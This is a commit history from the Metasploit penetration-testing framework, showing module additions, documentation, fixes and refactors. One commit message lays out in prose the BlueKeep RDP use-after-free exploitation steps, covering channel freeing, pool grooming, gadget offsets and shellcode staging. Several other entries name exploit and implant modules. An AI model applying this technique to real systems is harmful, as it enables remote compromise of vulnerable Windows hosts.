Jeffrey Martin a931cd58a2 Land #12401, Get rid of RSpec implicit block expectation syntax 2019-10-09 16:40:51 -05:00
weh d73503d506 Add docuentation for wp_dukapress_file_read scanner 2019-10-09 21:05:39 +02:00
weh 138b5284d2 Add docuentation for auxiliary/scanner/http/wordpress_scanner 2019-10-09 19:54:57 +02:00
weh deaa7be8ce Add documentation for wordpress_xmlrpc_login aux scanner 2019-10-09 18:54:16 +02:00
William Vu a6ec5131ad Land #12432, length check for rdp_recv result 2019-10-09 11:39:48 -05:00
Brent Cook 2d43b88b48 Land #12434, fix doc dash 2019-10-09 11:36:41 -05:00
William Vu 6fac30aec8 Change vprint_status to vprint_error 2019-10-09 11:36:39 -05:00
William Vu ad98c2e81c Fix misnamed BlueKeep exploit documentation
Should be an underscore, not a hyphen.
2019-10-09 11:27:50 -05:00
Brent Cook 62412c8d00 log a bit more about what happened 2019-10-09 08:39:03 -05:00
Brent Cook c4365cfe08 handle extra data on rdp_recv with length check
We should really be doing something like strictly parsing PDU headers in rdp_recv and then parseling out PDUs instead of recv_and_pray, but this should get us past the initial issue where sometimes there is an extra PDU right after
2019-10-09 08:22:02 -05:00
dwelch-r7 0e2923e9df Land #12431, link COPYING in readme 2019-10-09 13:26:45 +01:00
h00die 3ca4fa1edf add moved_from statements 2019-10-08 20:31:23 -04:00
William Vu 1a831573bc Land #12430, there's a goose in my MSF 2019-10-08 16:38:47 -05:00
Adam Cammack f9c5939a29 Teach more things about the new check codes 2019-10-08 16:21:40 -05:00
0xGilda 0b95acf0b3 Update honk.txt to MSF substitution sequences
as per: https://github.com/rapid7/metasploit-framework/pull/12430#issuecomment-539669624
2019-10-08 20:53:59 +01:00
0xGilda ad70e10452 Add new Untitled Goose Game inspired logo
Inspired by an @IanColdwater tweet.
2019-10-08 19:52:11 +01:00
Metasploit 16e9c7cf5f automatic module_metadata_base.json update 2019-10-08 13:27:51 -05:00
Brent Cook cb001910ab Land #12426, remove duplicate payload_inject module 2019-10-08 13:19:34 -05:00
Brent Cook aadfb843bb add module move metadata 2019-10-08 13:18:47 -05:00
Brent Cook 7e2ea42b54 Land #12404, fix potential nil object and mass deletion in shell session handler 2019-10-08 13:02:41 -05:00
Metasploit 05c00b458e automatic module_metadata_base.json update 2019-10-08 10:50:02 -05:00
Brent Cook baa0a12f71 Land #12421, use more specific requires for jtr parsing 2019-10-08 10:41:53 -05:00
Adam Cammack b65882a314 Use new CheckCodes to tidy up the bluekeep scanner 2019-10-08 09:57:53 -05:00
Adam Cammack 2a32c7b9c5 Extend check codes to allow custom messages 2019-10-08 09:57:53 -05:00
bwatters-r7 47dd96df68 Remove duplicate module in the wrong place 2019-10-08 08:48:11 -05:00
Emmett Kelly e0c86b2423 Remove references to file based token provision 2019-10-08 14:29:25 +01:00
Emmett Kelly fe3ec50239 Set API token in env instead of file 2019-10-08 13:46:07 +01:00
Brent Cook 5ce3f5d166 Land #12400, Add File Sharing Wizard SEH exploit module 2019-10-08 07:42:47 -05:00
dwelch-r7 951fd7b93e Replace double quotes with single quotes 2019-10-08 11:44:41 +01:00
Emmett Kelly fcfc78acc5 Use consistent API auth failure error handling 2019-10-08 11:14:23 +01:00
Emmett Kelly 8697b424b2 Use consistent environment variable name 2019-10-08 11:09:04 +01:00
Emmett Kelly 6d74fa2586 Load token config from yml instead of json 2019-10-08 11:03:24 +01:00
h00die d58cfccc13 goahead traversal logs 2019-10-07 21:41:57 -04:00
h00die ae8b01904a docs for git_scanner 2019-10-07 20:38:24 -04:00
Wyatt Dahlenburg 75302947db Added module to allow for ssh keys to be checked for Git access on GitHub and similar 2019-10-07 19:20:56 -05:00
Jeffrey Martin 7389417fc5 adjust for more limited require 2019-10-07 11:26:26 -05:00
dwelch-r7 25937c9e35 Use uri param and clean up logging 2019-10-07 17:15:04 +01:00
dwelch-r7 4eb068c9b0 Update target 2019-10-07 15:25:27 +01:00
Emmett Kelly 1f4649a97c Remove redundant begin block 2019-10-07 15:23:27 +01:00
Emmett Kelly 6e3acd6e9b Refactor nested else if to elsif 2019-10-07 15:23:01 +01:00
Emmett Kelly e1d44e2ae3 Remove redundant braces around hash param 2019-10-07 15:22:27 +01:00
dwelch-r7 02376c88fe Use httpclient over tcpclient 2019-10-07 15:20:30 +01:00
Emmett Kelly 8f33804fe0 Add file based API token authentication
Provides a mechanism to specify an API token from a json file.
If the DB is not enabled then the JSON RPC server will check for the
presence of an environment variable (MSF_API_TOKEN_FILE) which should
point to the path of a JSON file. The JSON file should contain a single
key "token". The value of this token is used as the API token which is
required for all JSON RPC API calls.
2019-10-07 14:57:40 +01:00
Mustafa Çalap f854fa6614 Add documentation for redis_server module 2019-10-07 10:06:02 +02:00
Seniru Pasan Indira da23b0857e Added the link for 'COPYING' file 2019-10-07 13:16:15 +05:30
h00die 64d44d0608 tftpbrute docs 2019-10-06 21:24:17 -04:00
h00die 5084e59ee5 add links 2019-10-06 18:13:52 -04:00
dwelch-r7 b723d026ab Address code review comments
Use strings in info hash, port is an integer, remove version number from
name
2019-10-06 15:27:29 +01:00
Metasploit 0c5819de7a automatic module_metadata_base.json update 2019-10-05 16:11:04 -05:00
Brendan Coles af05a33957 Land #12408, Fix spelling mistakes 2019-10-05 21:10:56 +00:00
Metasploit eeec7a0697 automatic module_metadata_base.json update 2019-10-05 14:49:34 -05:00
Brendan Coles 90ea642c35 Land #12406, Fix spelling mistakes 2019-10-05 19:42:58 +00:00
Brendan Coles 836f8070ce Land #12407, Fix spelling mistakes 2019-10-05 19:41:47 +00:00
h00die aef0b0b10c Land #12398 ssh_version docs 2019-10-05 14:48:23 -04:00
h00die 41f273870f md formatting 2019-10-05 14:47:53 -04:00
h00die 9f29f5f419 fix spelling received 2019-10-05 14:40:27 -04:00
h00die 905eb17132 begining to fix spelling errors 2019-10-05 14:26:34 -04:00
Metasploit 0365f09ee4 automatic module_metadata_base.json update 2019-10-05 13:22:22 -05:00
h00die 4cc85ecb75 adress a spelling problem 2019-10-05 14:22:18 -04:00
h00die 270f1cc63a Land #12394 fix spelling of separated 2019-10-05 14:14:10 -04:00
h00die f95f952b65 fix separated spelling 2019-10-05 14:13:38 -04:00
Metasploit 8817981bbc automatic module_metadata_base.json update 2019-10-05 13:02:08 -05:00
h00die 729f07f2f4 Land #12395 releative spelling fixes 2019-10-05 13:52:51 -04:00
h00die b7123e2c27 additional releative to relative 2019-10-05 13:50:30 -04:00
Brendan Coles 032a99d84a to_s - Fix #12345 2019-10-05 10:11:31 +00:00
Metasploit 62107d2a04 automatic module_metadata_base.json update 2019-10-04 21:07:03 -05:00
h00die d0ff7393e6 Land #12393 fix spelling of initialize 2019-10-04 21:57:20 -04:00
h00die 7718992ea4 fix spelling of initialize 2019-10-04 21:56:52 -04:00
h00die 0eec343770 Land #12392 iis_shortname spelling fix 2019-10-04 21:51:06 -04:00
Hugo Kermabon a5fd225823 Merge pull request #2 from h00die/land-12367
add headings, run date, tab to space
2019-10-04 17:17:41 -04:00
Phil Pirozhkov 87d0fa46f8 Get rid of RSpec implicit block expectation syntax
The syntax was removed in rspec-expectations 3.8.5.
Related:
https://blog.rubystyle.guide/rspec/2019/07/17/rspec-implicit-block-syntax.html
https://github.com/rspec/rspec-expectations/pull/1125
https://github.com/rubocop-hq/rspec-style-guide/issues/76

This is a follow-up to #12397 and unpins `rspec-expectations`.
2019-10-04 23:12:34 +03:00
Metasploit a78b8adb62 automatic module_metadata_base.json update 2019-10-04 14:55:36 -05:00
Brent Cook 3c397b721d Land #12375, Add image execute options persistence module 2019-10-04 14:40:37 -05:00
Metasploit d2407ddd2c automatic module_metadata_base.json update 2019-10-04 13:07:22 -05:00
bwatters-r7 42859fc275 Land #12388, Add Required Signature Detection To smb_version
Merge branch 'land-12388' into upstream-master
2019-10-04 12:58:49 -05:00
bwatters-r7 1c4bf1a5eb Land #12396, Update metasploit Payloads to 1.3.78 to bring in Java keyevent API
Merge branch 'land-12396' into upstream-master
2019-10-04 09:52:48 -05:00
dwelch-r7 06661df510 Make rubocop happy 2019-10-04 15:12:51 +01:00
Brent Cook 90840e3787 actual CVEs this detects is more limited, remove extra refs 2019-10-04 08:52:30 -05:00
Brent Cook 1f8b4478cc convert tool to external Metasploit module 2019-10-04 08:36:04 -05:00
Brent Cook c68f8733d8 import upstream tool from https://github.com/ArmisSecurity/urgent11-detector 2019-10-04 07:33:57 -05:00
Mustafa Çalap 0f5106c705 Add documentation for ssh_version module 2019-10-04 13:09:08 +02:00
Adam Cammack f51ffbf092 Land #12368, Add documentation for SMB capture 2019-10-03 23:36:52 -05:00
Adam Cammack 8fe27d68eb Fix typo 2019-10-03 23:35:24 -05:00
Adam Cammack 5005e5f9e1 Land #12397, Pin rspec-expectations 2019-10-03 23:18:26 -05:00
Jeffrey Martin 893a32b195 lock rspec-expectations
this applies until a solution to rspec/rspec-expectations#1134 is created
2019-10-03 17:46:22 -05:00
dwelch-r7 938c3a0e76 Add module docs 2019-10-03 23:22:21 +01:00
bwatters-r7 ca39858a7a Update metasploit Payloads to 1.3.78 to bring in Java keyevent API 2019-10-03 17:11:55 -05:00
Metasploit 863e15865f Bump version of framework to 5.0.53 2019-10-03 13:41:02 -05:00
Metasploit 9ed739e5f3 Bump version of framework to 5.0.52 2019-10-03 12:12:45 -05:00
Metasploit 54afaedf23 automatic module_metadata_base.json update 2019-10-03 12:07:47 -05:00
Brent Cook a13d13b578 Land #12385, remove invalid email addresses 2019-10-03 11:59:15 -05:00
Brent Cook 7619c41254 Land #12387, bump ruby versions 2019-10-03 11:57:37 -05:00
Dan a78ccb9522 Corrected spelling in bison_ftp_traversal.rb
Fixed spelling error: "releative" to "relative"
2019-10-03 12:47:49 -04:00
Dan bb252d6ed2 Corrected spelling in db2_auth.rb
Fixed spelling error: "seperated" to "separated"
2019-10-03 12:45:09 -04:00
Dan 3393e2446b Spelling correction in udp_sweep.rb
Fixed spelling error: "Intialize" to "Initialize"
2019-10-03 12:38:36 -04:00
Dan bfea024c3a Updates iis_shortname_scanner.rb
Fixed spelling error: "diclose" to "disclose"
2019-10-03 12:28:54 -04:00
Brent Cook c2fe0966fa bump Dockerfile to Ruby 2.6.5 2019-10-03 10:39:36 -05:00
Brent Cook 5a68818c85 bump 2.5.7 as well 2019-10-03 10:39:08 -05:00
dwelch-r7 e13463eb7c remove default exit func 2019-10-03 16:24:29 +01:00
dwelch-r7 c8c4d8ad77 Add new bad char 2019-10-03 15:46:26 +01:00
s7u55 dc64529f03 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb 2019-10-03 09:08:12 +03:00
s7u55 b8f19eb933 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: Valeri Melnikov <MelnikoffVA@yandex.ru>
2019-10-03 09:03:24 +03:00
h00die c9cde76842 additional cleanup 2019-10-02 21:03:00 -04:00
h00die ffc8c7e32a more ruby style 2019-10-02 20:23:12 -04:00
Spencer McIntyre db53adf2a1 Fix the require_signing attribute 2019-10-02 20:22:51 -04:00
Jeffrey Martin 783b54b3d6 bump ruby version for latest goodies 2019-10-02 18:55:34 -05:00
Spencer McIntyre cbf1722b01 Note whether or not SMB requires signatures 2019-10-02 19:22:07 -04:00
bwatters-r7 8142f22f6e shutup, rubocop 2019-10-02 14:50:00 -05:00
s7u55 fd2008c182 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 20:21:35 +03:00
s7u55 2f0e08b323 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 20:03:07 +03:00
dwelch-r7 20d21b45de Move module location 2019-10-02 16:08:54 +01:00
dwelch-r7 2f8e22b603 Remove hardcoded shell code and use options from info hash 2019-10-02 15:11:33 +01:00
floyd c747221863 Remove invalid email addresses 2019-10-02 13:35:25 +02:00
s7u55 f8f656e909 Update documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:43:28 +03:00
s7u55 06118ab8dc Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:43:12 +03:00
s7u55 9765792127 Update documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:42:44 +03:00
s7u55 98c8168253 Update modules/exploits/linux/local/omniresolve_suid_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-02 11:42:34 +03:00
Metasploit 85ea40064c automatic module_metadata_base.json update 2019-10-02 00:48:17 -05:00
s7u55 43b2332afe Add omniresolve priv escalation module (CVE-2019-11660) fix 2019-10-02 01:38:51 -04:00
s7u55 bb0eb16a3e Add omniresolve priv escalation module (CVE-2019-11660) 2019-10-01 15:03:29 -04:00
bwatters-r7 477a70934f Fix copy/pasta error in options 2019-10-01 10:10:51 -05:00
Brent Cook f3c8037728 Land #12374, Add DOUBLEPULSAR payload execution and neutralization module 2019-10-01 01:32:35 -05:00
Brent Cook b223e5e66a Land #12377, Fix stack_adjustment bug 2019-10-01 01:31:53 -05:00
William Vu 9592e85975 Fix stack_adjustment nil bug and refactor method
Also fix incorrect docs.
2019-09-30 19:18:58 -05:00
Metasploit 00fba6bf48 automatic module_metadata_base.json update 2019-09-30 17:37:28 -05:00
dwelch-r7 db7e594ef4 land #12065, local file config loader
Adds a couple of modules for loading in cisco/juniper configs from a
file without needing a shell and a post module
2019-09-30 23:26:27 +01:00
dwelch-r7 e3c51ed89e land #12376, replace intro with introduction 2019-09-30 23:18:28 +01:00
William Vu ade9c23772 Don't be lazy and spell out "introduction" in docs
This was unfortunately my doing, and then people copied me.
2019-09-30 16:58:00 -05:00
William Vu a1d1303ab9 Add module doc 2019-09-30 16:49:14 -05:00
bwatters-r7 273e8b6a82 Add image execute options persistence module 2019-09-30 16:34:43 -05:00
William Vu 3edb0e3ef5 Reword module title and description 2019-09-30 14:28:53 -05:00
William Vu 4b5c6002b4 Move implant neutralization code to method 2019-09-30 14:18:41 -05:00
William Vu d5a26b892a Remove unused status codes in check 2019-09-30 14:18:41 -05:00
William Vu 32728742ea Clarify why we can't proceed 2019-09-30 14:18:41 -05:00
William Vu 4975a24900 Refactor methods to use @tree_id ivar
Whoops, forgot this when I ivar'd it.
2019-09-30 14:18:41 -05:00
William Vu b1f2fa4e64 Don't hardcode body size 2019-09-30 14:18:41 -05:00
William Vu ed0b856aac Prefer << over +=
Oops, spending too much time with Python.
2019-09-30 14:18:41 -05:00
William Vu 255af7f2d3 Simplify data count calculation 2019-09-30 14:18:41 -05:00
William Vu ade715f88a Update disclosure date to dump date 2019-09-30 14:18:41 -05:00
William Vu 7417aa8a30 Rename module and note kill target in description 2019-09-30 14:18:41 -05:00
William Vu 0392521887 Fix same multiplex ID meaning implant not detected 2019-09-30 14:18:41 -05:00
William Vu 33d7a2a818 Remove SMB::Client::Authenticated
They're fine as advanced options, since this targets a null session.
2019-09-30 14:18:41 -05:00
William Vu 6b4cf4970e Don't support x86 at the moment 2019-09-30 14:18:41 -05:00
William Vu aa2f7d378a Create method for kernel shellcode size 2019-09-30 14:18:41 -05:00
William Vu 8190e7067a Calculate kernel shellcode size 2019-09-30 14:18:41 -05:00
William Vu 05b83ff5da Calculate max payload size automagically 2019-09-30 14:18:41 -05:00
William Vu 8cae04f194 Use constant for maximum shellcode size 2019-09-30 14:18:41 -05:00
William Vu fb1bb0fd2f Don't use NOPs because Peter would be sad 2019-09-30 14:18:41 -05:00
William Vu 530bf9bc0c Finish RCE with Jacob's help 2019-09-30 14:18:41 -05:00
William Vu 3a5a05f3a9 Use recently enhanced Rex::Text.xor 2019-09-30 14:18:41 -05:00
William Vu 90cb0e039f Add DOUBLEPULSAR payload execution 2019-09-30 14:18:41 -05:00
h00die 0288649fc2 rename juniper variables 2019-09-30 15:03:38 -04:00
dwelch-r7 30691d1c18 Add ranking 2019-09-30 12:20:38 +01:00
h00die cbc7d1e6aa add headings, run date, tab to space 2019-09-28 12:03:51 -04:00
h00die c188d179ed fix atutor bugs 2019-09-26 20:37:10 -04:00
h00die 0d143a1ce3 smb capture docs spelling 2019-09-26 19:06:02 -04:00
h00die 82f0daeb68 smb capture docs finished 2019-09-26 19:02:57 -04:00
Metasploit 0a41599ce4 Bump version of framework to 5.0.51 2019-09-26 12:12:14 -05:00
Metasploit dd13820cac automatic module_metadata_base.json update 2019-09-26 10:16:31 -05:00
dwelch-r7 84cc85a099 Land #12316 prefix fingerprint by rhost and rport 2019-09-26 16:04:53 +01:00
dwelch-r7 f6eaeaac71 Merge remote-tracking branch 'upstream/pr/12316' into HEAD 2019-09-26 15:20:45 +01:00
dwelch-r7 7395297da4 Add rank 2019-09-26 13:32:36 +01:00
dwelch-r7 1425d180b9 Add module to exploit file sharing wizard 2019-09-26 13:30:52 +01:00
Metasploit a63fd26eb5 automatic module_metadata_base.json update 2019-09-26 03:59:11 -05:00
Brent Cook 279930a88a Land #12318, Add mazda_ic_mover module documentation 2019-09-26 03:50:47 -05:00
Brent Cook 2227903585 Land #12313, Add mazda_ic_mover module that moves the instrument cluster 2019-09-26 03:50:29 -05:00
Metasploit 8f049f5c23 automatic module_metadata_base.json update 2019-09-26 03:45:09 -05:00
Brent Cook c86511722a Land #12258, Update gpp.rb to display GPO name 2019-09-26 03:36:28 -05:00
Wei Chen 6a80bf2cf5 Should ensure, not in exception 2019-09-25 22:23:41 -05:00
h00die 24021d1b12 smb capture docs round 2 2019-09-25 22:53:45 -04:00
h00die 74c765c6ac smb capture docs round 1 2019-09-25 22:50:18 -04:00
h00die d6a7da9490 fix atutor nil 2019-09-25 22:02:55 -04:00
h00die ca99bd4191 fix nil check 2019-09-25 21:24:14 -04:00
Wei Chen 8dc238e687 Add TotaJS CMS Code Injection in Widget Creation 2019-09-25 16:54:44 -05:00
h00die 4d05287412 land #12361 spell multiple correctly 2019-09-25 15:41:57 -04:00
William Vu 21df0ff4bb Fix "mutliple" typo in CONTRIBUTING.md 2019-09-25 11:14:08 -05:00
Metasploit 496504657c automatic module_metadata_base.json update 2019-09-25 07:48:50 -05:00
Brent Cook 026f9cbd96 Land #12354, Remove unused targets from aux and post modules 2019-09-25 07:40:06 -05:00
Brent Cook c53346d500 Land #12353, Make BlueKeep scanner less chatty by default 2019-09-25 07:37:55 -05:00
h00die a9aa5c4577 land #12358 rspec overlapping variables fix 2019-09-25 05:28:30 -04:00
Brent Cook fd66829cbb remove unneeded change in workspace variable 2019-09-25 03:47:14 -05:00
Brent Cook 27f5720055 use unique Dummy*Class per test 2019-09-25 03:46:11 -05:00
Metasploit a65347dcf7 automatic module_metadata_base.json update 2019-09-24 09:59:10 -05:00
Shelby Pace 4710322cd7 Land #11762, add sosreport privesc 2019-09-24 09:48:57 -05:00
William Vu 2ce3e4f1c4 Make BlueKeep scanner's output less chatty 2019-09-24 08:49:27 -05:00
dwelch-r7 285244e877 Remove commented out code 2019-09-24 13:51:54 +01:00
Metasploit 4d2c5dbd88 automatic module_metadata_base.json update 2019-09-24 06:27:05 -05:00
dwelch-r7 a587668b9e Remove Default targets from aux modules 2019-09-24 12:15:43 +01:00
Brent Cook 75c58d39a9 Land #12314, Clarify file: handling with the RHOSTS parameter 2019-09-24 06:10:29 -05:00
Brent Cook 0ed09cc9bf Land #11927, Add Brocade post module and config parser 2019-09-24 05:59:21 -05:00
Brent Cook 2d1e7ffa2f Land #12349, Add Proxy/header opts to windows/python stageless 2019-09-24 05:54:51 -05:00
Metasploit 4100972530 automatic module_metadata_base.json update 2019-09-23 11:32:55 -05:00
dwelch-r7 fe2b3f8f29 Remove targets from post modules 2019-09-23 17:26:36 +01:00
Brent Cook b668e1fa5b Land #12283, Add exploit module for CVE-2019-0708 / BlueKeep 2019-09-23 11:22:36 -05:00
Brent Cook c0be631bf0 tweak groombase for vmware 15.1 2019-09-23 11:01:04 -05:00
dwelch-r7 134765dc40 Remove targets from aux modules 2019-09-23 15:29:38 +01:00
dwelch-r7 4125224af8 Merge pull request #1 from rapid7/master
Pull in latest from master
2019-09-23 12:06:45 +01:00
Brent Cook 5b36b6ed71 add docs, simplify some areas 2019-09-23 04:50:54 -05:00
OJ 3c0cb29a7c Add Proxy/header opts to windows/python stageless 2019-09-23 08:45:43 +10:00
Brent Cook 0715b7688a use client_random, add notes 2019-09-22 17:20:58 -05:00
Brent Cook 0d34de7d2f support sending license requests 2019-09-22 16:47:08 -05:00
Metasploit 5b8c97c4f7 automatic module_metadata_base.json update 2019-09-20 16:26:44 -05:00
h00die 5e52f47c17 land #12279 resolve_hosts now databases results 2019-09-20 17:18:07 -04:00
Brent Cook 963489e196 add further license PDU parsing 2019-09-20 08:15:07 -05:00
dzflack 7ea19c7d26 fix msftidy error 2019-09-20 20:27:30 +08:00
dzflack e1ab657e55 add warning to the beginning of documentation 2019-09-20 19:41:55 +08:00
Clément Notin 3044fdf517 RHOSTS: expand description 2019-09-20 09:56:11 +02:00
Metasploit 4431476ec4 automatic module_metadata_base.json update 2019-09-19 15:04:09 -05:00
Brent Cook 47a3204e34 Land #12295, Update to modbusclient to use modbus read functions 2 and 4 2019-09-19 14:47:52 -05:00
Metasploit 6d1ee46bba Bump version of framework to 5.0.50 2019-09-19 12:04:38 -05:00
Brent Cook acb351ac44 add a few more vmware targets (emphasising the fragility here) 2019-09-19 07:02:02 -05:00
Brent Cook 3174af03e4 add initial license packet handler 2019-09-19 06:09:41 -05:00
Brent Cook 67ee46ec03 add additional target, set default target GROOMSIZE to 100M (thanks aconite33) 2019-09-19 06:05:08 -05:00
Brent Cook 8138e2f185 remove email 2019-09-19 06:05:08 -05:00
Brent Cook 458dc59594 move kernel shellcode comments to the correct place 2019-09-19 06:05:08 -05:00
Brent Cook d2da56bd90 use specified RDP_CLIENT_NAME 2019-09-19 06:05:08 -05:00
Brent Cook d80ad89160 resolve msftidy error 2019-09-19 06:05:08 -05:00
Brent Cook c405fba6b1 name module docs properly 2019-09-19 06:05:08 -05:00
Spencer McIntyre 0a05ee6577 Use the rdp connect/disconnect methods for WinXP 2019-09-19 06:05:08 -05:00
Brent Cook 7e4a99689a remove separate PoC and shellcode files, replaced with new integrated module 2019-09-19 06:05:08 -05:00
Brent Cook 51c0c24c20 add and update documentation from original PoC 2019-09-19 06:05:08 -05:00
Brent Cook 5b91fa8c88 add initial module documentation stub 2019-09-19 06:05:08 -05:00
Brent Cook fb729b5f11 add bare metal target 2019-09-19 06:05:08 -05:00
Brent Cook 02ba21a0a0 remove WinVer 2019-09-19 06:05:08 -05:00
Brent Cook 4677e0f389 include internal OS version in target names 2019-09-19 06:05:08 -05:00
Brent Cook fec749d3b2 perform fingerprinting in scanner 2019-09-19 06:05:08 -05:00
William Vu de34bc484e Ensure rdp_disconnect in rdp_scanner 2019-09-19 06:05:08 -05:00
William Vu cdd3378acc Clean up BlueKeep exploit 2019-09-19 06:05:08 -05:00
Brent Cook e32409b379 merge Win 7/2008 targets 2019-09-19 06:05:08 -05:00
Brent Cook ab631044af adjust rdp fingerprint code to match self.rdp_sock changes in exploit mixin 2019-09-19 06:05:08 -05:00
Brent Cook f2c475454a tag targets for Virtualbox, add Windows 2008R2 2019-09-19 06:05:08 -05:00
Brent Cook 15ce66cb02 adjust to ManualRanking 2019-09-19 06:05:08 -05:00
Brent Cook 35e3704526 add current caveats and notes from zerosum0x0 2019-09-19 06:05:08 -05:00
Brent Cook e243e1a50d add a more likely arch with the default fingerprint target 2019-09-19 06:05:08 -05:00
Brent Cook f3a9af2ea8 rename for consistency with scanner module 2019-09-19 06:05:08 -05:00
Brent Cook 855281b0ac add auto-target by default, only scan and show a user message for now 2019-09-19 06:05:08 -05:00
Brent Cook b860cafddf remove 'COMPACT' mode since it's not needed here 2019-09-19 06:05:08 -05:00
Brent Cook 49cb6204e5 explicit short jump no longer needed with relative address fixes 2019-09-19 06:05:08 -05:00
Brent Cook 559901865e add PR ref 2019-09-19 06:05:08 -05:00
Brent Cook 9e321dc30e move hack into fixup code 2019-09-19 06:05:08 -05:00
Brent Cook 9150ab4e1a add pre/post processor phase to address metasm limits
This adds a pre/post processor phase that allows specifying relative
label offsets when loading effective addresses from metasm-generated
code.
2019-09-19 06:05:08 -05:00
Brent Cook 6522866071 specify short jump opcodes explicitly 2019-09-19 06:05:08 -05:00
OJ f479ed2d73 Small refactors, comments and tidying up 2019-09-19 06:05:08 -05:00
William Vu 725bff5e2d Add CheckScanner and ForceExploit 2019-09-19 06:05:08 -05:00
Brent Cook 49762084f2 minor cleanup of debug code and remove some fixed encodings (still need a couple) 2019-09-19 06:05:08 -05:00
Brent Cook a529866e1a first working metasm shellcode 2019-09-19 06:05:08 -05:00
Brent Cook 6225c5c31f skip payload encoding, be a bit more self-documenting 2019-09-19 06:05:08 -05:00
Brent Cook 4edf91d0b2 add debug writes (to be removed later) 2019-09-19 06:05:08 -05:00
Brent Cook 121e337e13 fix incorrect bytes in kernel shellcode 2019-09-19 06:05:08 -05:00
OJ c76e773b8f Another attempt to get bluekeep working
For some reason the existing kernel payload doesn't work with the
exploit as it currently stands, which is very odd given that everything
else seems to be in order.

Hoping to get some help from the rest of the MSF folks as right now
I don't think I can trust the tools that I'm using.
2019-09-19 06:05:08 -05:00
OJ 8412ff319a Fix disconnect PDU message and start work on payloads 2019-09-19 06:05:08 -05:00
OJ edcc423eea Lots more RDP mixin changes, and first pass of ruby exploit
This code is at the point where we SHOULD see a crash (given that the
payloads in use for kernel/user are both just As and Bs (deliberate at
this point).

Unforunately the exploit does not result in a crash. Things just keep
on going! I've looked at the difference in the traffic across the two
different exploits (py and rb) and what's clear is that the mixin is
doing a lot more work at the start.

Also, the mixin generates packets of smaller size in the way that it
encodes data (ie. it doesn't always use 2 bytes for a short value, it'll
use 1 instead if only 1 is required).

Pretty sure that the size issues aren't the problem, I think there's
something else in play. I'm at the point where diving into the RDP stuff
even more isn't inspiring so I'm hoping that opening this up to collab
will help us move forward.
2019-09-19 06:05:08 -05:00
OJ 1d6e319ac2 Refactor of RDP mixin to make it more configurable
Slowly moving away from a huge hard-coded blob of inflexible bytes
towards a more data-driven approach that allows configuration of various
elements of the packets that are generated.
2019-09-19 06:05:08 -05:00
OJ eb9088a588 Refactor RDP mixin to hide socket details
When dealing with the RDP mixin it makes more sense to not expose
TCP-level things, instead it's better to talk RDP. This changeset makes
it so that consumers of the RDP mixin talk RDP only. They can access the
socket through the `rdp_socket` member if required, but the changes made
here mean they don't have to. Ultimately, this new member should be
`private` instead of `protected`, but I'm leaving it like this for now
in case it is required down the track.

I've also made the assumption that all RDP connects want TCP_NODELAY
set. This might be wrong, but I don't think it is.

From here, users can call `rdp_connect` and `rdp_disconnect` to manage
connectivity to the RDP endpoint. The `rdp_connect` function does not
register the TCP client socket as the global `sock` member on the TCP
module instance, this is to prevent the mixin from clashing with other
users of the TCP client in a given module.
2019-09-19 06:04:58 -05:00
Brent Cook b9cb6d8820 Allow specifying TLS version via 'SSLVersion' opt 2019-09-19 06:03:17 -05:00
William Vu 9e235edd88 chmod +x so it loads as an external module 2019-09-19 06:02:22 -05:00
Tod Beardsley 5ae1c8ef49 Payload shellcode for Bluekeep from zerosum
Not sure where these should go, adjust to taste.
2019-09-19 06:02:22 -05:00
Tod Beardsley 6b4e067c0e Add rdp_bluekeep.py and needs work
From zerosum0x0:

Exploitation and Caveats:
1. You register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
2. Full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
3. You free MS_T120 with the DisconnectProviderIndication message to MS_T120.
4. RDP has chunked messages, so we use this to groom.
   a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
   b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
       i. RDPSND only works when HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
       ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
5. Use chunked grooming to fit new data in the freed channel, account for the allocation header size (like 0x38 I think?). At offset 0x100? is where the "call [rax]" gadget will get its pointer from.
   a. The NonPagedPool (NPP) starts at a fixed address on XP-7
       i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP start. This can be anywhere from 100 mb to gigabytes of offset before the NPP start.
   b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
   c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an indirect call
   d. We are limited to 0x400 payloads by channel chunk max size. My current shellcode is a twin shellcode with eggfinders. I spam the kernel payload and user payload, and if user payload is called first it will egghunt for the kernel payload.
6. After channel hole is filled and the NPP is spammed up with shellcode, trigger the free by closing the socket.
TODO:
* You can use the scanner methodology to detect x86/x64, but I'm still not sure how to detect OS, other than XP nominally will not use SSL and 7 will.
* The whole thing needs to be swapped to the Ruby version. Tom Sellers client is nicer and works for XP whereas this python client will not (when I wrote this module it was still in progress)
* Write the XP/2003 portions grooming MS_T120.
* Can we detect if RDPSND grooming is working or not?
* Any channels besides RDPSND/MS_T120 work for the grooming? (I've gone through about 10 books on NT RDP and reversed enough to doubt it)

https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming MS_T120 on XP... should be same process as the RDPSND
2019-09-19 06:02:21 -05:00
Metasploit 0e9a2d13ac automatic module_metadata_base.json update 2019-09-18 22:12:28 -05:00
Brent Cook 4af0731f8c Land #12320, Add correct CVE for shopware module 2019-09-18 22:04:12 -05:00
